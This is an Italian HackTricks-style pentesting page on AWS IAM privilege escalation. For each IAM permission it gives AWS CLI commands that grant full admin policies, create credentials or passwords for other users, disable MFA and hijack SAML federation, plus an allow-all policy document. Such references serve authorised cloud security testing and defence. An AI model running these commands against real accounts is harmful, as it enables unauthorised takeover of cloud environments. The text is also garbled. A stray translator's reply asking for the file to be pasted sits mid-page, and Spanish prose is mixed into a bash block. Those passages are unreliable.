# AWS - IAM Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## IAM

Per maggiori informazioni su IAM, consulta:

{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}

### **`iam:CreatePolicyVersion`**

Consente di creare una nuova versione di una policy IAM, aggirando la necessità del permesso `iam:SetDefaultPolicyVersion` usando il flag `--set-as-default`. Questo consente di definire permessi personalizzati.

**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Impatto:** Escalazione diretta dei privilegi consentendo qualsiasi azione su qualsiasi risorsa.

### **`iam:SetDefaultPolicyVersion`**

Consente di cambiare la versione predefinita di una policy IAM con un'altra versione esistente, potenzialmente aumentando i privilegi se la nuova versione concede più permessi.

**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Impatto:** Escalation di privilegi indiretta abilitando permessi aggiuntivi.

### **`iam:CreateAccessKey`**

Consente di creare access key ID e secret access key per un altro utente, portando a una potenziale escalation di privilegi.

**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Impact:** Escalation di privilegi diretta assumendo i permessi estesi di un altro utente.

### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**

Consente di creare o aggiornare un login profile, compresa l'impostazione di password per l'accesso alla console AWS, con conseguente escalation di privilegi diretta.

**Exploit per la creazione:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Exploit per Aggiornamento:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Impact:** Escalation diretta dei privilegi effettuando l'accesso come utente "qualsiasi".

### **`iam:UpdateAccessKey`**

Consente di abilitare una access key disabilitata, potenzialmente permettendo accessi non autorizzati se l'attaccante è in possesso della access key disabilitata.

**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Impatto:** Escalation di privilegi diretta riattivando access keys.

### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**

Consente di generare o reimpostare credenziali per servizi AWS specifici (es. CodeCommit, Amazon Keyspaces), ereditando i permessi dell'utente associato.

**Exploit per la creazione:**
```bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>
```
**Exploit per il reset:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impatto:** Escalation di privilegi diretta sulle autorizzazioni di servizio dell'utente.

### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**

Consente di allegare policy a utenti o gruppi, escalando direttamente i privilegi ereditando le autorizzazioni della policy allegata.

**Exploit per l'utente:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
**Exploit per Gruppo:**
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Impatto:** Escalation di privilegi diretta a qualsiasi cosa la policy conceda.

### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**

Permette di allegare o aggiungere policy a ruoli, utenti o gruppi, consentendo un'escalation di privilegi diretta concedendo permessi aggiuntivi.

**Exploit per il ruolo:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Exploit per Inline Policies:**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
Non vedo il contenuto da tradurre. Per favore incolla il testo del file src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md qui. 

Tradurrò in italiano mantenendo intatti markdown, tag HTML, link, path, codice, nomi tecnici (es. aws, lambda, pentesting) e le altre eccezioni che hai indicato.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
```
**Impatto:** Escalation diretta dei privilegi aggiungendo permessi tramite policy.

### **`iam:AddUserToGroup`**

Consente di aggiungere se stessi a un gruppo IAM, escalando i privilegi ereditando i permessi del gruppo.

**Sfruttamento:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Impatto:** Escalation di privilegi diretta al livello delle autorizzazioni del gruppo.

### **`iam:UpdateAssumeRolePolicy`**

Consente di alterare il documento assume role policy di un ruolo, consentendo l'assunzione del ruolo e delle autorizzazioni associate.

**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Quando la policy è la seguente, che dà all'utente il permesso di assumere il ruolo:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
```
**Impatto:** Escalation di privilegi diretta assumendo i permessi di qualsiasi ruolo.

### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**

Consente di caricare una chiave pubblica SSH per l'autenticazione a CodeCommit e di disattivare dispositivi MFA, portando a una possibile escalation di privilegi indiretta.

**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Exploit per la disattivazione di MFA:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impatto:** Escalation di privilegi indiretta abilitando l'accesso a CodeCommit o disabilitando la protezione MFA.

### **`iam:ResyncMFADevice`**

Permette la risincronizzazione di un dispositivo MFA, potenzialmente causando un'escalation di privilegi indiretta tramite la manipolazione della protezione MFA.

**Comando Bash:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impatto:** Escalation indiretta dei privilegi aggiungendo o manipolando dispositivi MFA.

### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)

Con queste autorizzazioni puoi **modificare i metadati XML della connessione SAML**. Poi, potresti abusare della **SAML federation** per **login** con qualsiasi **ruolo che si fida di essa**.

Nota che facendo questo **gli utenti legittimi non saranno in grado di effettuare il login**. Tuttavia, potresti ottenere l'XML, quindi puoi sostituirlo con il tuo, effettuare il login e ripristinare quello precedente.
```bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
> [!NOTE]
> TODO: Uno strumento in grado di generare i metadata SAML e di eseguire il login con un ruolo specificato

### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)

(Non sicuro su questo) Se un attacker ha queste **permissions**, potrebbe aggiungere un nuovo **Thumbprint** per riuscire ad effettuare il login in tutti i ruoli che si fidano del provider.
```bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
```
### `iam:PutUserPermissionsBoundary`

Questa permission consente a un attacker di aggiornare il permissions boundary di un user, potenzialmente escalando i suoi privileges e permettendogli di eseguire azioni che normalmente sono ristrette dalle permissions esistenti.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
```
### `iam:PutRolePermissionsBoundary`

Un soggetto con iam:PutRolePermissionsBoundary può impostare un permissions boundary su un ruolo esistente. Il rischio emerge quando qualcuno con questa autorizzazione modifica il boundary di un ruolo: può restringere in modo improprio le operazioni (causando interruzioni del servizio) oppure, se applica un boundary permissivo, ampliare di fatto ciò che il ruolo può fare e permettere un'escalation dei privilegi.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
## Riferimenti

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

{{#include ../../../../banners/hacktricks-training.md}}
